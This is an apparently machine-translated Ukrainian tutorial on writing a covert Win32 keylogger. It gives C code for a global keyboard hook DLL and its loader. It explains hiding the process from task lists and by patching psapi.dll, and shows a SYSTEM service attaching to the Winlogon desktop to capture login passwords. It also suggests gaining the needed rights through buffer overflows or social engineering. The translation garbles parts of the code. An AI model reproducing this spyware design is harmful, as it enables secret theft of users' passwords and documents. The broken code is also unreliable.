Реалізація keylogging під WIN32 b> b> p>
Марк
Єрмолов p>
Одним з найбільш
простих методів знімання інформації з персонального комп'ютера є установка
на комп'ютер користувача програми, що виробляє облік клавіш. Даний
метод можна легко здійснити при фізичному доступі на цікавить комп'ютер.
Встановити кейлоггер можна також і віддалено, скориставшись помилками в реалізаціях
сервісів об'єкта, але ми опустимо методи установки в даній статті. p>
Існує
велика кількість вже готових програм-кілоггерів. Однак по-перше
більшість з них вже визначаються антивірусними програмами, по-друге,
часто, їх функціональність залишає бажати кращого, або вони працюють
украй нестабільно. Одним з видів програм, що здійснюють знімання інформації,
є KeyLogger-и (дослівно реєстратор клавіш). Вони реєструють всі
натиснуті клавіші на клавіатурі, обробляють отриману інформацію і зберігають
її у файл. Оскільки закрита інформація (паролі, документи, і т.д.) набирається
з клавіатури, KeyLogger є одним із засобів її отримання. p>
В операційній
системі MSDOS кейлоггер даного виду просто перехоплює переривання від
клавіатури (int 16h) і потрібним чином його обробляє. У Win32 все складніше.
Буде доречним описати метод реєстрації всіх натиснутих клавіш з допомогою
системних пасток або фільтрів (hooks). Цей метод працює як під
Win95/98/Millennium так і під WIN NT/2000/XP. В якості мови програмування
для цього завдання варто вибрати C/C + +, а середовищем розробки MS Visual C + +.
Асемблер для цих цілей підходить краще, але писати на Асемблері в Win32
надто виснажливо і довго. p>
У Win32 API
є функція SetWindowsHookEx. Вона дозволяє визначити деяку
(власну) функцію яка буде спрацьовувати кожного разу при настанні
деякої події (отримання програмою повідомлення, натискання клавіші на
клавіатурі, створення вікна і т.д.). Повний опис даної функції можна
прочитати в MSDN (Microsoft Developer Network Library). p>
Перший параметр
даної функції вказує подія, на яку ми ставимо пастку. У нашому випадку
- Клавіатура - WH_KEYBOARD. p>
На другому місці
в обробнику виклику ми повинні вказати адресу функції, яка буде викликатися
кожного разу при настанні цієї події. Вид цієї функції (для обробки
натискань клавіш) наступний: p>
LRESULT CALLBACK KeyboardProc (int code, WPARAM wParam,
LPARAM lParam); p>
де: code - спосіб обробки клавіші додатком. p>
wParam --
містить віртуальний код натиснутою клавіші. p>
lParam --
є 4-x байтове структуру даних, де в якості полів
виступають її біти. Бити 0-15 визначають скільки разів сталася подія (значення
відмінно від 1 у випадку, якщо клавіша утримується трохи часу), біти 16-23
визначають scan-код натиснутою (відпущеної) клавіші, а 31-ий біт визначає, була
Чи клавіша натиснута або відпущена. p>
Параметр code
застосовується для відсіювання зайвих подій. Наприклад, при наборі в MS Word
тексту "123" наш обробник отримає по парі подій на кожне натискання
клавіші ( "112233") у разі отримання цікавить нас повідомлення
повідомлення даний параметр дорівнює HC_ACTION. p>
Оскільки
KeyboardProc використовується системою, ми повинні при описі вказати CALLBACK. p>
Отже, для
обробки натиснутих клавіш ми повинні написати свою процедуру KeyboardProc
приблизно в такий спосіб: p>
LRESULT CALLBACK KeyboardProc (int code, WPARAM wParam,
LPARAM lParam) p>
( p>
DWORD IsDown,
ScanCode; p>
IsDown =
! (lParam>> 31); p>
ScanCode =
lParam> = 24; p>
if (IsDown
& & Code == HC_ACTION) p>
p>
ProccessDownKey (wParam, (unsigned char) ScanCode);// обробляємо p>
return 0; p>
) p>
У MSDN сказано,
що якщо параметр code <0, то треба віддати управління такій пастці
викликом CallNextHookEx, але на практиці можна цього не робити, а просто
повернути з KeyboardProc 0 і все буде працювати. p>
Третій параметр
SetWindowsHookEx - дескриптор модуля в якому знаходиться KeyboardProc, а
четвертий - ідентифікатор потоку, для якого встановлюється пастка (0 - для
всіх потоків в системі). Фільтр може встановлюватися як на один потік одного
додатки, так і на всі потоки всіх додатків. В останньому (найбільш
цікавому) випадку KeyboardProc повинна знаходитися в DLL (Dynamic Link Library).
Так зроблено через особливості архітектури Windows, в якій кожен процес
має свій адресний простір. За допомогою Visual C + + реалізація власної
dll-бібліотеки є нескладною. p>
Важливим моментом
є те, що при запуску кожної нової програми при активному фільтрі,
Windows створює нову копію всіх даних DLL, яка містить KeyboardProc, і динамічна
бібліотека впроваджується в адресний простір запускається процесу. Тому
всі глобальні дані слід зберігати в такий спосіб: p>
1. У вихідному
коді DLL написати наступне: p>
# pragma data_seg ( ". SHAREDDATA") p>
/* p>
... p>
... p>
Глобальні
дані p>
.... p>
Наприклад :*/ p>
static char logFileName [128] = (0);// Файл звіту p>
static int dllsCount;// Число впроваджених DLL p>
// i т.д. p>
# pragma data_seg () p>
2. В. Def --
файлі бібліотеки написати: p>
SECTIONS p>
. SHAREDDATA Read Write Shared p>
При обробки
події від клавіатури виникає проблема: Як отримати символ (наприклад 'A' або
'a', 's' або 'и'), який дійсно вводив користувач. Для цього можна
скористатися функціями ToAscii і ToUnicode, які дозволяють по scan-коду та
віртуального коду, а також стану клавіатури визначити конкретний символ. p>
Ми опустимо
докладний опис механізму завантаження DLL, і отримання адреси функції, а
наведемо приклад безпосереднього використання нашої бібліотеки. p>
Нехай
бібліотека, що містить необхідну нам функцію KeyboardProc, називається
hooklib.dll. p>
# include
p>
int WINAPI WinMain (HINSTANCE, HINSTANCE, LPSTR, int) p>
( p>
HHOOK hHook; p>
HINSTANCE
hLib; p>
HOOKPROC
pKeybrdProc; p>
hLib =
LoadLibrary ( "hooklib.dll "); p>
if (hLib ==
NULL) p>
p>
return 0;// Помилка p>
pKeybrdProc =
reinterpret_cast (GetProcAddress (hLib,
"KeyboardProc ")); p>
if
(pKeybrdProc == NULL) ( p>
p>
FreeLibrary (hLib);// Помилка p>
p>
return 0; p>
) p>
hHook =
SetWindowsHookEx (WH_KEYBOARD, pKeybrdProc, hLib, 0); p>
if (hHook ==
NULL) ( p>
p>
FreeLibrary (hLib);
//Помилка p>
p>
return 0; p>
) p>
//.... p>
// GetMessage і т.д. поки не надійде
WM_QUERYENDSESSION p>
//.... p>
UnhookWindowsHookEx (hHook); p>
FreeLibrary (hLib); p>
return 0; p>
) p>
Примітно,
що даний метод працює і в Windows NT/2000/XP, оскільки функція
SetWindowsHookEx не вимагає ніяких привілеїв (наприклад SeDebugPrivilege) і
буде працювати навіть під звичайним користувачем. Це можна сприймати як
слабке місце в системі безпеки NT/2000/XP, оскільки все-таки відбувається
впровадження в адресний простір процесу. (Згадаймо атаку GetAdmin, де з
допомогою впровадження в процес, в NT без SP3 можна було отримати права
адміністратора під користувачем guest !!!). p>
Більш докладну
інформацію по фільтрам ви можете знайти в MSDN, у статті "Win32
Hooks ". P>
Важливим моментом
будь-якої програми такого роду є маскування. p>
В
Win95/98/Millennium програму можна приховати зі списку завдань функцією
RegisterServiceProcess, після цього вона не буде видно в списку завдань
taskman'a, показують по натисканні "Ctrl + Alt + Del". Проте будь-який
менеджер процесів (наприклад, SysInfo) все одно покаже нашу програму,
тому при написанні потрібно створювати і інформацію про версію. Так буде менше
більше помітне. SysInfo також визначає всі встановлені в системі пастки. Функцію
RegisterServiceProcess просто так викликати не вдасться, оскільки вона не
оголошена в windows.h (winuser.h і т.д.). Її потрібно викликати безпосередньо з
KERNEL32.DLL. Вона має наступний прототип: p>
DWORD RegisterServiceProcess (DWORD dwProcessId, DWORD
dwType); p>
де dwProcessId
- Id процесу (0 - викликає), а dwType = 1, якщо робимо процес сервісом, і 0,
якщо прибираємо сервісні властивості. p>
Вирішити задачу
маскування в системах NT/2000/XP куди складніше. Одним зі способів можна вважати
підміну psapi.dll з WINNTsystem32 таким чином, щоб у запису для функції
EnumProcesses в таблиці експорту цієї dll, точка входу (entry point) вказувала
не на справжню реалізацію цієї функції, на деяку власну, з
наступним викликом оригіналу. Однак цей механізм не буде працювати для тих
додатків, які 'жорстко' пов'язані з psapi.dll за допомогою утиліти bind.exe. p>
Точки входу для
кожної експортованої функції з будь-якої dll можна подивитися за допомогою утиліти
depends що входить в постачання Platform SDK. p>
Також вважаю
доречним розповісти в цій статті, як зробити кейлоггер для NT/2000/XP так,
щоб він міг отримувати інформацію (ім'я користувача і пароль), яка
набирається з клавіатури при вході користувача в систему. Дане завдання
ускладнюється двома факторами: p>
Система
відображає запрошення на вхід (натисніть Ctrl + Alt + Del і т.д.) до запуску будь-якого
призначеного для користувача процесу. Тобто, якщо ваша програма-шпигун запускається
автоматично або з системної папки Startup або з розділу реєстру Run або з
деяких системних ini-файлів, то вона не зможе отримати інформацію, про яку
йде мова, просто тому, що її запуск відбудеться вже після того, як
користувач ввійшов до системи. При спробі завершити сеанс роботи й увійти під
іншим користувачем, ваша програма так само буде завершена і запущено після
реєстрації користувача в системі. p>
Вікно введення
пароля і вхідного імені (також як і вікно запрошення) захищено окремим
механізмом windows, званим 'робочий стіл' (Desktop - знову ж таки, дивіться
MSDN) і процеси, запушенние з-під інших робочих столів, фізично не мають
доступу до цих вікон. (навіть функція FindWindow їх не знайде). Таким чином, і
фільтр, встановлений функцією SetWindowsHookEx, не буде спрацьовувати на
дії в нас цікавлять вікнах. p>
Для вирішення
цих проблем пропоную наступний механізм: p>
По-перше,
додаток, що встановлює фільтр клавіш, має бути оформлене у вигляді сервісу
Win32. (Як зробити сервіс можна прочитати в MSDN - голова "Services"
розділу "Platform SDK: DLLs, Processes and Threads".) p>
По-друге,
сервіс має бути зареєстрований як запускається автоматично
(SERVICE_AUTO_START - дивіться опис функції CreateService); ну і багато ж
прав вам знадобитися, щоб зареєструвати сервіс ;-). Ну нічого, завжди
знайдуться помилки переповнення буфера і т.д. В кінці - кінців, можна спробувати
щастя в соціальної інженерії. p>
І нарешті,
найголовніше: Назва робочого столу c вікном введення пароля - "Winlogon" і
він знаходиться в інтерактивній 'віконної станції' (window station) c ім'ям
"Winsta0". Таким чином, щоб процес (точніше його потік) міг
потрапити в даний робочий стіл і встановити там пастку потрібно скористатися
функціями Win32 API OpenWindowStation, SetProcessWindowStation, OpenDesktop і
SetThreadDesktop. (див. Главу "Interactive
Services "з MSDN).
Якщо ці функції викликати
з-під сервісу, що запускається під System - стандартне поведінка після
реєстрації за допомогою CreateService з передостаннім параметром рівним NULL, то
прав вистачить сповна і для виклику цих функцій і для встановлення пастки так, щоб
вона обробляла цікавлять нас вікна процесу Winlogon.exe. В якості
параметрів, які позначають імена цих об'єктів (робочий стіл, віконна
станція), потрібно задати наведені вище значення. Механізм підключення до
робочого столу повинен передувати викликом функції SetWindowsHookEx.
Примітка: не забудьте додати окремий потік на призначений для користувача робочий
стіл - "default" з "Winsta0", інакше пастка не зможе
реєструвати дії користувача після входу в систему. Також хочу
відзначити, що для не інтерактивних сервісів системою створюється окрема
віконна станція і робочий стіл, в якому вони і крутяться. Тобто, без
підключення до деякого реального робочого стола, викликати функцію
SetWindowsHookEx з сервісу не має сенсу. p>
Наведу
невеликий приклад реалізації сервісу та підключення до робочого столу. У даному
прикладі я опустив всю обробку помилок. p>
# include p>
void WINAPI MyServiceStart (DWORD, LPTSTR *); p>
void WINAPI MyServiceCtrlHandler (DWORD); p>
void ServiceWorkFunction (); p>
SERVICE_STATUS_HANDLE MyServiceStatusHandle; p>
int WINAPI WinMain (HINSTANCE, HINSTANCE, LPSTR, int) p>
( p>
SERVICE_TABLE_ENTRY DispatchTable [] = (( "MyService",
MyServiceStart), p>
(NULL, NULL)); p>
// Викликаємо точку входу сервісу p>
StartServiceCtrlDispatcher (DispatchTable); p>
) p>
void WINAPI MyServiceStart (DWORD, LPTSTR *) p>
( p>
SERVICE_STATUS MyServiceStatus = (0); p>
MyServiceStatus.dwServiceType = SERVICE_WIN32; p>
MyServiceStatus.dwCurrentState = SERVICE_RUNNING; p>
// Реєструємо обробник подій сервісу p>
MyServiceStatusHandle =
RegisterServiceCtrlHandler ( "MyService", p>
MyServiceCtrlHandler); p>
SetServiceStatus (MyServiceStatusHandle,
& MyServiceStatus); p>
ServiceWorkFunction (); p>
) p>
void WINAPI MyServiceCtrlHandler (DWORD) p>
( p>
SERVICE_STATUS MyServiceStatus = (0); p>
MyServiceStatus.dwServiceType = SERVICE_WIN32; p>
MyServiceStatus.dwCurrentState = SERVICE_RUNNING; p>
SetServiceStatus (MyServiceStatusHandle,
& MyServiceStatus); p>
) p>
void ServiceWorkFunction () p>
( p>
HWINSTA hWS; p>
HDESK hDT; p>
// Підключаємося до віконної станції p>
hWS =
OpenWindowStation ( "Winsta0", FALSE, GENERIC_ALL); p>
SetProcessWindowStation (hWS); p>
// Підключаємося до робочого столу p>
hDT =
OpenDesktop ( "Winlogon", 0, FALSE, GENERIC_ALL); p>
SetThreadDesktop (hDT); p>
// SetWindowsHookEx
і т.д. p>
) p>
Питання
надсилайте на e-mail:
http://bugtraq.ru/library/programming/ermolov_mark @ mail.ru p>
P.S. p>
Всім бажаючим
створювати подібні програми хочу порекомендувати кілька чудових книг:
p>
Список
літератури h2>
"Внутрішнє
пристрій Windows 2000 ", Д. Соломон, М. Руссіновіч p>
"Програмування
серверних додатків для Windows 2000 ", Дж. Ріхтер, Дж. Кларк p>
"Windows
для професіоналів ", Дж. Ріхтер p>
а також утиліти
procexp.exe і winobj.exe від
sysinternals. p>